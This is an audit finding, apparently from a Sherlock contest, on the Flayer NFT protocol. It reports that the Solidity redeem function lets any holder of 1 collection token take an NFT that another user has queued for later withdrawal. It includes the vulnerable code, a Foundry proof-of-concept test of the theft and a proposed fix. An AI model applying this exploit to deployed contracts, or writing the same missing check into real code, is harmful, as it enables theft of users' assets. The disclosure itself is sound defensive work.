Happy Wintergreen Kookaburra

High

# The `redeem` function does not check if the requested NFT is not a `canWithdrawAsset` NFT of someone else

## Summary
When a user redeems an NFT, they get to burn their tokens (1 ether) to claim a specified NFT (by them), the issue lies when the redeem function can allow the user with 1 ether to claim an NFT that is being put aside (withdraw Later) by someone who unlocked it as a Protected Listing.

## Vulnerability Detail
- The Redeem function is used by users to be able to redeem any NFT inside the collection in return for them getting to burn their tokens(ERC20) to do so which will be 1 ether of those tokens(ERC20).
- The Function already checks that the specified redeem NFT is not an Active Listing (Which is correct), but forgets to check if the specified redeem NFT is not an asset that can be withdrawn by another user as that user is planning to claim it later.

## Code Snippet
- When a user calls the `unlockProtectedListing` to release their NFT, they get to choose if they want their NFT instantly or if they want to withdraw later
- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287
```solidity
function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {}
```
- If they have specified their `_withdraw` bool as false they will execute the `else` part of the function
- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L317
```solidity
        if (_withdraw) { //n if the withdraw bool was set to true, execute
            locker.withdrawToken(_collection, _tokenId, msg.sender); //n Transfer the ERC721 back to the sender
            emit ListingAssetWithdraw(_collection, _tokenId);
        } else { //n if the withdraw bool was false it means it can be withdrawn later
            canWithdrawAsset[_collection][_tokenId] = msg.sender; //n store the msg.sender as a sender that can be able to withdraw the NFT later
        }
```
- They can withdraw later by using the `withdrawProtectedListing` function (But for now let's say the user decides to keep it there)
- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341
```solidity
function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
        // Ensure that the asset has been marked as withdrawable
        address _owner = canWithdrawAsset[_collection][_tokenId]; //n fetches the owner of the address listing that can withdraw their ERC721
        if (_owner != msg.sender) revert CallerIsNotOwner(_owner); //n if the owner of the NFT is not the same as the sender revert

        // Mark the asset as withdrawn
        delete canWithdrawAsset[_collection][_tokenId]; //n deletes the mapping of the collection token (it is claimed)

        // Transfer the asset to the user
        locker.withdrawToken(_collection, _tokenId, msg.sender); //n Transfer the ERC721 back to the sender
        emit ListingAssetWithdraw(_collection, _tokenId);
    }
```
### Vulnerability
- The `redeem` function below does not check if the provided `_tokenIds` is allocated at `canWithdrawAsset` for the User to be able to withdraw it
```solidity
    function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
        uint tokenIdsLength = _tokenIds.length;
        if (tokenIdsLength == 0) revert NoTokenIds();

        // Burn the ERC20 tokens from the caller
        ICollectionToken collectionToken_ = _collectionToken[_collection];
        collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());

        // Define our collection token outside the loop
        IERC721 collection = IERC721(_collection);

        // Loop through the tokenIds and redeem them
        for (uint i; i < tokenIdsLength; ++i) {
            // Ensure that the token requested is not a listing
            if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);

            // Transfer the collection token to the caller
            collection.transferFrom(address(this), _recipient, _tokenIds[i]);
        }

        emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
    }
```

## Impact
- This will cause a user that had a withdrawal asset to get the NFT taken away from him without even receiving those burned Tokens
- When a user tries to withdraw the NFT, they will be faced with a revert error saying the NFT does not exist as it would be sent to the other user (No longer in the hands of the Locker)
- The user who bought the NFT (redeem) from the initialized collection and Protected Listed the NFT then unlocks it and puts the NFT in a withdraw later state expects the NFT to not be swapped or redeemed by other users but rather than them fully owning it and can withdraw later as it was their protected Listing and they owned it by redeeming it from the collection.

## PoC
- Put the PoC inside the `ProtectedListings.t.sol`
<details>

<summary>POC</summary>

```solidity
    function test_Poc(uint _tokenId, uint96 _tokensTaken) public {
  // Ensure that we don't get a token ID conflict
  _assumeValidTokenId(_tokenId);

  // Ensure that the _tokenTaken is within the acceptable range
  vm.assume(_tokensTaken >= 0.1 ether);
  vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());

  // set the user alice
  address payable alice = users[0];

  // Mint the NFT to alice
  erc721a.mint(alice, _tokenId);

  vm.startPrank(alice); // Create the listing (by Alice)
  erc721a.approve(address(protectedListings), _tokenId); // approve the NFT to be used by the contract
  _createProtectedListing({
    _listing: IProtectedListings.CreateListing({
    collection: address(erc721a),
    tokenIds: _tokenIdToArray(_tokenId),
    listing: IProtectedListings.ProtectedListing({
    owner: alice,
    tokenTaken: _tokensTaken,
    checkpoint: 0
  })
  })
  });

  // Approve the ERC20 token to be used by the listings contract
  locker.collectionToken(address(erc721a)).approve(address(protectedListings), _tokensTaken);
  // Confirm that the ERC20 is held by alice is the correct amount (TokenTaken)
  assertEq(locker.collectionToken(address(erc721a)).balanceOf(alice), _tokensTaken);
  // Unlocks the listing of alice with withdraw to false (withdraw later)
  protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);
  vm.stopPrank();

  // Confirm that the ERC20 was burned from alice as we unlocked our listing
  assertEq(locker.collectionToken(address(erc721a)).balanceOf(alice), 0);
  // Confirm that the NFT has not yet been returned to the original owner (withdraw later)
  assertEq(erc721a.ownerOf(_tokenId), address(locker));
  // Check that we can now withdraw the NFT from our caller (alice)
  assertEq(protectedListings.canWithdrawAsset(address(erc721a), _tokenId), alice);

  // Attack
  address payable bob = users[1]; // set the user bob (Attacker)
  // We need to generate enough ERC20 tokens to be able to redeem (1 ether)
  deal(address(locker.collectionToken(address(erc721a))), bob, 1 ether);

  // Move our token ID (Alice's) into an array
  uint[] memory tokenIds = new uint[](1);
  tokenIds[0] = _tokenId;

  vm.startPrank(bob); // Attempt to redeem Alice's NFT
  // Approval from bob for the locker to burn the collection tokens
  locker.collectionToken(address(erc721a)).approve(address(locker), 1 ether);
  // bob redeems the NFT that is owned by alice
  locker.redeem(address(erc721a), tokenIds);
  vm.stopPrank();
  // Attack End

  // Alice decides to claim their NFT as they wanted to withdraw later
  vm.prank(alice);
  // Expect the "Not Owner revert" from ERC721 indicating that the locker is no longer in possession of alice's NFT
  vm.expectRevert("ERC721: caller is not token owner or approved");
  protectedListings.withdrawProtectedListing(address(erc721a), _tokenId);
  // Confirm that the NFT is no longer owned by alice but by bob
  assertEq(erc721a.ownerOf(_tokenId), bob);
}
```
</details>

## Tool used
Manual Review

## Recommendation
- Implement a check that the requested NFT is the `canWithdrawAsset` of an address 0 and if not, revert
```diff
        for (uint i; i < tokenIdsLength; ++i) {
            // Ensure that the token requested is not a listing
            if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+           if (IProtectedListings.canWithdrawAsset[_collection][_tokenIds[i]] != address(0)) revert TokenIsOwned(_tokenIds[i]);
```
- ⚠️**NOTICE**: Other Functions needs this check too like `swap`, `CollectionShutdown` and more
